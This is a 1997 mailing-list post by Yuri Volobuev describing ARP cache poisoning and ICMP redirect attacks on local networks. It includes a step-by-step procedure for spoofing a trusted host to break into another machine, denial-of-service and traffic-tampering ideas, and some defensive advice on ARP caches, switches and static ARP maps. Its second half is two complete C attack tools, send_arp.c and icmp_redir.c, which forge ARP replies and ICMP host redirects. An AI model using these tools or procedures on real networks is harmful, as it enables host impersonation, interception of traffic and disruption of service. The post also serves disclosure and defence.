Redir games with ARP and ICMP

Yuri Volobuev (volobuev@T1.CHEM.UMN.EDU)
Fri, 19 Sep 1997 05:12:07 -0500

Playing redir games with ARP and ICMP
by yuri volobuev

[ -Intro- ]

There're bugs and there're features. All too often the distinction between
the two is in the eye of the beholder. I'd like to show how two legitimate
protocols, ARP and ICMP, while properly implemented, can be used to achieve
something which is, well, not desirable.

While passive attacks (sniffing) that take advantage of the root access to
LAN are extremely popular and every half-way decent root kit has some kind
of a net sniffer, active attacks are not nearly as widespread. Yet, active
participation in the life of your LAN may bring lots of fun and joy. You
knew that already, it's just that technical details had been somewhat
obscure. So, let there be more light.

Possibilities outlined here include spoofing and DoS. While other means of
spoofing, such as IP blind spoofing, are more general and powerful, in terms
of who can use them, they require quite a lot of (guess)work and may be hard
to implement. ARP spoofing, on contrary, is very easy and robust.

While ARP spoofing is only possible on a local network, it may be a serious
concern as a way to extend an already existing security breach. If somebody
can break into one machine on a subnet, ARP spoofing can be used to
compromise the rest of it.

[ -Background on ARP- ]

[well, originally i wrote few paragraphs outlining arp, but then i figured
that if you didn't know how it works already, you'll need to learn it from a
better source. I recommend "TCP/IP Illustrated" by W.Richard Stevens.]

[ -What can be done- ]

Let's consider a hypothetical network

IP 10.0.0.1 10.0.0.2 10.0.0.3 10.0.0.4
hostname cat rat dog bat
hw addr AA:AA BB:BB CC:CC DD:DD (for short)

all connected by Ethernet in some simple way (i.e. no switches, no smart
hubs). You're on cat, you have root and desire to break into dog. You know
that dog trusts rat, so if you can successfully spoof rat, something can be
gained.

First thing that comes to mind (I think everybody was thinking about this at
some point) is "why don't I set my IP to the IP of that other machine
and..." That won't work, at least it won't work reliably. If you tell
Ethernet driver on cat that it's IP is 10.0.0.2, it'll start answering ARP
requests to that IP. But so will rat. It's a pure race condition, and
there's no winner. However, you can easily be the loser, because this
particular situation happens quite often when some box is misconfigured to
use somebody's else's IP, so many implmentations immedeately notice that and
loudly complain. Many network traffic analyzers flag that, too. Seeing a
syslog message saying something nasty (mentioning cat's Ethernet address) on
the LAN admin's console is not quite what you want. And what you want you
won't necessarily get, that is getting anything remotely close to a working
connection.

This of course can be helped. The attached program, send_arp.c, can be a
useful tool. Just as its name says, it sends an ARP packet [ARP reply, to
be exact: since the protocol is stateless, reply will be happily accepted
even if no one ever asked for it. Request would do just as well, though,
because of the ARP caching logic] to the net, and you can make this packet
to be what you want. What you want is an ability to specify source and
target IP and hardware addresses.

First, you don't want your Ethernet driver to talk too much, and it's easy
to accomplish with ifconfig -arp. Of course, it'll need ARP info anyway, so
you'll have to feed it to the kernel manually with arp(8). The critical
part is convincing your neighbours. In the case being described here, you
want dog to believe that rat's hardware address is that of cat (AA:AA), so
you send ARP reply with source IP 10.0.0.2, source hw address AA:AA, target
IP address 10.0.0.3 and target hardware address CC:CC. Now, for all dog
knows, rat is at AA:AA. Cache entry would expire, of course, so it needs to
be updated (request needs to be resent). How often depends on the
particular system, but every 40 sec or so should be sufficient for most
cases. Send it more often if you want, it won't hurt.

A complication here could come from an ARP caching implementation feature.
Some systems (e.g. Linux) would try to update their cache entries by sending
a unicast ARP request to the cached address (like your wife calling you just
to make sure you're there). Such a request can screw things up, because it
could change victim's ARP entry that we just faked, so it must be prevented.
This can be accomplished by feeding the "wife" system with replies so that
it never has to ask for it. Prevention is the best cure, as always. This
time, a real packet from dog to rat should be sent, it's just that cat will
be sending it, not dog, but for rat there's no way to tell. Again, doing it
about every 40 sec is usually OK.

So the procedure is simple. Bring up an alias interface, e.g. eth0:1 (or
use your current one, whatever), with rat's IP and ARP on -- you need to set
up some cache entries first, and it won't work on non-arp interface. Set up
a host route entry for dog through the right interface. Set up a cache
entry for dog, turn off arp, and it's all set.

Now, inject the venom with send_arp (hitting both dog and rat) and for all
dog knows, you're on rat. Just remember to keep sending those ARP packets
to dog and rat.

This attack only works on the local network, of course (in general, it can
reach as far as ARP packets can get, usually not too far because ARP packets
are almost never routed). But an interesting extension here is taking this
outside by replacing dog's hardware address in the above plan with the
router's. If it works (I'm not sure it always will, router's ARP
implementation may be tougher to fool, and since I don't want to try it on
real routers, I don't know, but there's no simple reason why not) you can
easily impersonate any machine on the local network to the rest of the
world. So the target machine could really be anywhere, but the machine
you're impersonating must be on the same LAN.

[ -What else can be done- ]

Aside from spoofing, there's range of other things you can do with ARP. The
sky is really the limit here. DoS is the most obvious application.

Feeding victim wrong hardware address is a powerful way to make it mute.
You can prevent it from talking to any particular machine (and ARP cache
size usually allows for the whole network to fit in, so effectively you can
stop it from talking to everybody for some time). Obvious target would be
the router. Cache poisoning again should be two-way: both the victim system
and the system you don't want victim to talk to should be fed. The simplest
case would be feeding a non-existant address. It's not the most efficient,
though, as the system will quickly realize that it's talking to nobody and
send out an ARP request. Of course, your next drop of poison will nullify
this, but you have to do it quite often. A more efficient approach here is
feeding the victim with the hardware address of the wrong machine, which
itself is alive and well. Again, it depends on a particular situation, but
very often what happens is that victim keeps sending out packets of various
types that arrive to the wrong destination, and destination system will
promptly send ICMP Xxx Unreachable messages back, thus emulating a
connection in some perverted way. This pseudo-conection can easily postpone
cache expiry. On Linux, for example, pseudo-connection raises cache expiry
from usual 1 min to about 10 min. By that time, most or all TCP connections
are screw up. Could be quite annoying. This way, one ARP packet can screw
someone.

An interesting twist here is so-called "gratuitous ARP". It's when the
source and target IPs in the ARP request are the same, and it usually
appears in a form of an Ethernet broadcast. Some implementations recognize
it as a special case, that of a system sending out updated information about
itself to everybody, and cache that request. This way one packet could
screw up the entire network. It must be admitted, though, that gratuitous
ARP is not really defined as a part of ARP, so it's up to vendor to (not)
implement it, and it's becoming increasingly less popular.

ARP is a serious tool for professional practical jokes, too. Just imagine
somebody setting up a relay, or tunnel, in a form of own machine that
convinced two neighbours to send their packets intended for each other to
relay's Ethernet. If relay just forwards packets to their real
destinations, no one would even notice. However, some simple data stream
modifications could have quite a spectacular effect on one's mental health.
A simple, CPU-inexpensive "filter" could be swapping random two bytes at
irregular long intervals. If it hits the data portion, most of the
checksums won't change, i.e. data stream would seem to be intact, yet
strange and unexplicable things _will_ happen for no apparent reason.

[ -ICMP redirects- ]

An effect somewhat similar to ARP cache poisoning can be achieved in a
different way, again using a legitimate protocol feature, ICMP route
redirects. Such a redirect is normally sent by the default router to the
system to indicate that there's a shorter route to some particular
destination. Originally, both network and host route redirects were
proposed, but later net redirects were deprecated and now are usually
treated as host redirects. Properly constructed ICMP packet that passes all
sanity checks (it must come from the default router for the destination it's
redirecting, new router should be on a directly connected network, etc.) it
causes a host-route entry be added to the system routing table.

The concept is just as secure as ICMP itself, i.e. (security)NULL. Spoofing
routers IP address is simple, and attached icmp_redir.c does just that.
Host Requirements RFC states that system MUST follow ICMP redirects unless
it's a router. And indeed all the systems I've tried happily accept it
(except vanilla Linux 2.0.30, where it's broken, it works in 2.0.29 and
2.0.31pre9, according to Alan Cox).

ICMP redirects present a rather potent DoS. Unlike ARP cache entries, those
host routes won't expire with time. And of course no access to local
network is required, attack can be launched from anywhere. So if the target
system does accept ICMP redirects (and packets can actually reach it) that
system can be stopped from talking to any particular address on the net
(well, not all, but those that aren't on the same subnet with the target).
Nameservers would be an obvious target.

[ -What can be done about it- ]

ARP is low level protocol and as such is usually hidden from normal people.
LAN admins may be concerned with it at times, but if all goes well no one
pays attention. One can always inspect contents of ARP cache using arp(8),
especially if there's some misterious network problem, but again it's not
the first thing that comes to mind. Even W95 has arp command, and
remembering about it may be helpful in certain situations. However, if
you're the target of the attack originating from another network via gateway
arp spoofing, there's no way to tell. Similarly, host routing table could
be examined to spot ICMP-generated entries (in most versions of route(1)
they are marked with D letter in flags field). Just be aware.

The above ARP attack scheme work perfectly for plain old 10Base2 Ethernet.
However, if machines are interconnected in some more advanced way,
particularly using some smart hubs or switches, attack can be more visible
or even impossible (same goes for passive attacks). So there's yet another
reason to invest in a good piece of network equipment. A good deal of peace
of mind may just come with it.

In general, however, I personally find it rather sad that things like ICMP
redirects were made a default. First, it's often not necessary because many
networks have very simple structure and there's never a need for anything in
addition to usual routing table. Second, on more sophisticated networks
routing table can be just as well set manually, it's not really such a
dynamic thing, so why do it via ICMP? And finally, it's dangerous, so I
would like to disable it on my systems, even though it'll make them less
compliant with RFC1122. Alas, it may not be easy. On Linux or any other OS
with sources available, I can at least hack the kernel and #define it out.
On Irix 6.2 and possibly other versions one can set icmp_dropredirects=1
with systune (I'm genuinely surprised to see it there, I really am). Other
OSes can be configurable, too, I have no information.

With ARP, we basically face a situation when the problem of name resolution
is solved dynamically without a centralized server. It doesn't have to be
this way. When one wants to map hostname to an IP, nameserver is queried or
/etc/hosts is consulted, i.e. there's some static mapping established. I
don't see why a similar thing can't be done with ARP. Ethernet hardware
addresses don't change too often, and when they do change, it won't kill net
admin to change the corresponding map. Ethernet can be forced in no-arp
mode, you just need to make sure your ARP cache has all the entries made as
permanent. As a bonus, this will reduce network traffic somewhat. Standard
procedures can be used to distribute ARP map, e.g. rdist, rsync (I would say
NIS, but if you use NIS, ARP is probably not your top security concern
anyway). Old tradition of /etc/ethers can be brought back to life. But
getting a kick-ass Ethernet switch still looks better to me (paying for it
does not, though).

And old wisdom still shine bright though time: don't use hostname-only based
auth. Those who do shall have no mercy from net gods.

cheers,

yuri

P.S. On Firewalls

I anticipate that many of you, having read the section about ICMP, are
already flexing the fingers preparing to write a follow-up explaining that
all those ICMP packets can be filtered out on the firewall, thus it's not a
problem. Please don't. I'm well aware of the concept. An if you feel you
absolutely have to, don't cc the list needlessly.

I have to note that many people use "i have firewall, and I like it,
therefore everyone else should get one or get lost" logic to argue that
certain security problems are less serious because they can be effectively
eliminated by putting a firewall between the protected network and
Internet. While I fully agree that having firewall is very good for
security, I want to note that it's not always possible or effective.

Imagine an environment where all machines are directly connected to
Internet, you have to share subnet with people you don't know who have
vanilla SGI boxes screaming "hack me pleeeease, my vendor did such a great
job of making it eeeeeeasy" all over the place (and sure, these people know
Unix, they've seen it in Jurassic Park... and that would be about it), and
the router to your subnet is controlled by a separate organization. Welcome
to a standard academic environment, where people don't use firewalls. In
fact, in some of those environments one would be useful to protect the
outside world from the people on the inside. Still, people work there, and
use computers, too. And that's where per-host security solutions are
necessary, it's a jungle where every host is for itself. So please, next
time you think "firewall", remember, it's not for everyone.

CUT HERE
/* send_arp.c

This program sends out one ARP packet with source/target IP and Ethernet
hardware addresses suuplied by the user. It compiles and works on Linux
and will probably work on any Unix that has SOCK_PACKET.

The idea behind this program is a proof of a concept, nothing more. It
comes as is, no warranty. However, you're allowed to use it under one
condition: you must use your brain simultaneously. If this condition is
not met, you shall forget about this program and go RTFM immediately.

yuri volobuev'97
volobuev@t1.chem.umn.edu

*/

#include <stdio.h>
#include <ctype.h>
#include <stdlib.h>
#include <string.h>
#include <errno.h>
#include <netdb.h>
#include <sys/socket.h>
#include <linux/in.h>
#include <arpa/inet.h>
#include <linux/if_ether.h>

#define ETH_HW_ADDR_LEN 6
#define IP_ADDR_LEN 4
#define ARP_FRAME_TYPE 0x0806
#define ETHER_HW_TYPE 1
#define IP_PROTO_TYPE 0x0800
#define OP_ARP_REQUEST 2

#define DEFAULT_DEVICE "eth0"

char usage[]={"send_arp: sends out custom ARP packet. yuri volobuev'97\n\
\tusage: send_arp src_ip_addr src_hw_addr targ_ip_addr tar_hw_addr\n\n"};

struct arp_packet {
u_char targ_hw_addr[ETH_HW_ADDR_LEN];
u_char src_hw_addr[ETH_HW_ADDR_LEN];
u_short frame_type;
u_short hw_type;
u_short prot_type;
u_char hw_addr_size;
u_char prot_addr_size;
u_short op;
u_char sndr_hw_addr[ETH_HW_ADDR_LEN];
u_char sndr_ip_addr[IP_ADDR_LEN];
u_char rcpt_hw_addr[ETH_HW_ADDR_LEN];
u_char rcpt_ip_addr[IP_ADDR_LEN];
u_char padding[18];
};

void die(char *);
void get_ip_addr(struct in_addr*,char*);
void get_hw_addr(char*,char*);

int main(int argc,char** argv){

struct in_addr src_in_addr,targ_in_addr;
struct arp_packet pkt;
struct sockaddr sa;
int sock;

if(argc != 5)die(usage);

sock=socket(AF_INET,SOCK_PACKET,htons(ETH_P_RARP));
if(sock<0){
perror("socket");
exit(1);
}

pkt.frame_type = htons(ARP_FRAME_TYPE);
pkt.hw_type = htons(ETHER_HW_TYPE);
pkt.prot_type = htons(IP_PROTO_TYPE);
pkt.hw_addr_size = ETH_HW_ADDR_LEN;
pkt.prot_addr_size = IP_ADDR_LEN;
pkt.op=htons(OP_ARP_REQUEST);

get_hw_addr(pkt.targ_hw_addr,argv[4]);
get_hw_addr(pkt.rcpt_hw_addr,argv[4]);
get_hw_addr(pkt.src_hw_addr,argv[2]);
get_hw_addr(pkt.sndr_hw_addr,argv[2]);

get_ip_addr(&src_in_addr,argv[1]);
get_ip_addr(&targ_in_addr,argv[3]);

memcpy(pkt.sndr_ip_addr,&src_in_addr,IP_ADDR_LEN);
memcpy(pkt.rcpt_ip_addr,&targ_in_addr,IP_ADDR_LEN);

bzero(pkt.padding,18);

strcpy(sa.sa_data,DEFAULT_DEVICE);
if(sendto(sock,&pkt,sizeof(pkt),0,&sa,sizeof(sa)) < 0){
perror("sendto");
exit(1);
}
exit(0);
}

void die(char* str){
fprintf(stderr,"%s\n",str);
exit(1);
}

void get_ip_addr(struct in_addr* in_addr,char* str){

struct hostent *hostp;

in_addr->s_addr=inet_addr(str);
if(in_addr->s_addr == -1){
if( (hostp = gethostbyname(str)))
bcopy(hostp->h_addr,in_addr,hostp->h_length);
else {
fprintf(stderr,"send_arp: unknown host %s\n",str);
exit(1);
}
}
}

void get_hw_addr(char* buf,char* str){

int i;
char c,val;

for(i=0;i<ETH_HW_ADDR_LEN;i++){
if( !(c = tolower(*str++))) die("Invalid hardware address");
if(isdigit(c)) val = c-'0';
else if(c >= 'a' && c <= 'f') val = c-'a'+10;
else die("Invalid hardware address");

*buf = val << 4;
if( !(c = tolower(*str++))) die("Invalid hardware address");
if(isdigit(c)) val = c-'0';
else if(c >= 'a' && c <= 'f') val = c-'a'+10;
else die("Invalid hardware address");

*buf++ |= val;

if(*str == ':')str++;
}
}

CUT HERE

/* icmp_redir.c

This program sends out an ICMP host redirect packet with gateway IP supplied
by user. It was written and tested under Linux 2.0.30 and could be rather
easily modified to work on most Unices.

The idea behind this program is a proof of a concept, nothing more. It
comes as is, no warranty. However, you're allowed to use it under one
condition: you must use your brain simultaneously. If this condition is
not met, you shall forget about this program and go RTFM immediately.

yuri volobuev'97
volobuev@t1.chem.umn.edu

*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <errno.h>
#include <unistd.h>
#include <netdb.h>
#include <syslog.h>
#include <sys/socket.h>
#include <arpa/inet.h>
#include <netinet/in.h>
#include <netinet/ip_icmp.h>
#include <netinet/ip.h>

#define IPVERSION 4

struct raw_pkt {
struct iphdr ip; /* This is Linux-style iphdr.
Use BSD-style struct ip if you want */
struct icmphdr icmp;
struct iphdr encl_iphdr;
char encl_ip_data[8];
};

struct raw_pkt* pkt;

void die(char *);
unsigned long int get_ip_addr(char*);
unsigned short checksum(unsigned short*,char);

int main(int argc,char** argv){

struct sockaddr_in sa;
int sock,packet_len;
char usage[]={"icmp_redir: send out custom ICMP host redirect packet. \
yuri volobuev'97\n\
usage: icmp_redir gw_host targ_host dst_host dummy_host\n"};
char on = 1;

if(argc != 5)die(usage);

if( (sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0){
perror("socket");
exit(1);
}

sa.sin_addr.s_addr = get_ip_addr(argv[2]);
sa.sin_family = AF_INET;

packet_len = sizeof(struct raw_pkt);
pkt = calloc((size_t)1,(size_t)packet_len);

pkt->ip.version = IPVERSION;
pkt->ip.ihl = sizeof(struct iphdr) >> 2;
pkt->ip.tos = 0;
pkt->ip.tot_len = htons(packet_len);
pkt->ip.id = htons(getpid() & 0xFFFF);
pkt->ip.frag_off = 0;
pkt->ip.ttl = 0x40;
pkt->ip.protocol = IPPROTO_ICMP;
pkt->ip.check = 0;
pkt->ip.saddr = get_ip_addr(argv[1]);
pkt->ip.daddr = sa.sin_addr.s_addr;
pkt->ip.check = checksum((unsigned short*)pkt,sizeof(struct iphdr));

pkt->icmp.type = ICMP_REDIRECT;
pkt->icmp.code = ICMP_REDIR_HOST;
pkt->icmp.checksum = 0;
pkt->icmp.un.gateway = get_ip_addr(argv[4]);

memcpy(&(pkt->encl_iphdr),pkt,sizeof(struct iphdr));
pkt->encl_iphdr.protocol = IPPROTO_IP;
pkt->encl_iphdr.saddr = get_ip_addr(argv[2]);
pkt->encl_iphdr.daddr = get_ip_addr(argv[3]);
pkt->encl_iphdr.check = 0;
pkt->encl_iphdr.check = checksum((unsigned short*)&(pkt->encl_iphdr),
sizeof(struct iphdr));

pkt->icmp.checksum = checksum((unsigned short*)&(pkt->icmp),
sizeof(struct raw_pkt)-sizeof(struct iphdr));

if (setsockopt(sock,IPPROTO_IP,IP_HDRINCL,(char *)&on,sizeof(on)) < 0) {
perror("setsockopt: IP_HDRINCL");
exit(1);
}

if(sendto(sock,pkt,packet_len,0,(struct sockaddr*)&sa,sizeof(sa)) < 0){
perror("sendto");
exit(1);
}
exit(0);
}

void die(char* str){
fprintf(stderr,"%s\n",str);
exit(1);
}

unsigned long int get_ip_addr(char* str){

struct hostent *hostp;
unsigned long int addr;

if( (addr = inet_addr(str)) == -1){
if( (hostp = gethostbyname(str)))
return *(unsigned long int*)(hostp->h_addr);
else {
fprintf(stderr,"unknown host %s\n",str);
exit(1);
}
}
return addr;
}

unsigned short checksum(unsigned short* addr,char len){
register long sum = 0;

while(len > 1){
sum += *addr++;
len -= 2;
}
if(len > 0) sum += *addr;
while (sum>>16) sum = (sum & 0xffff) + (sum >> 16);

return ~sum;
}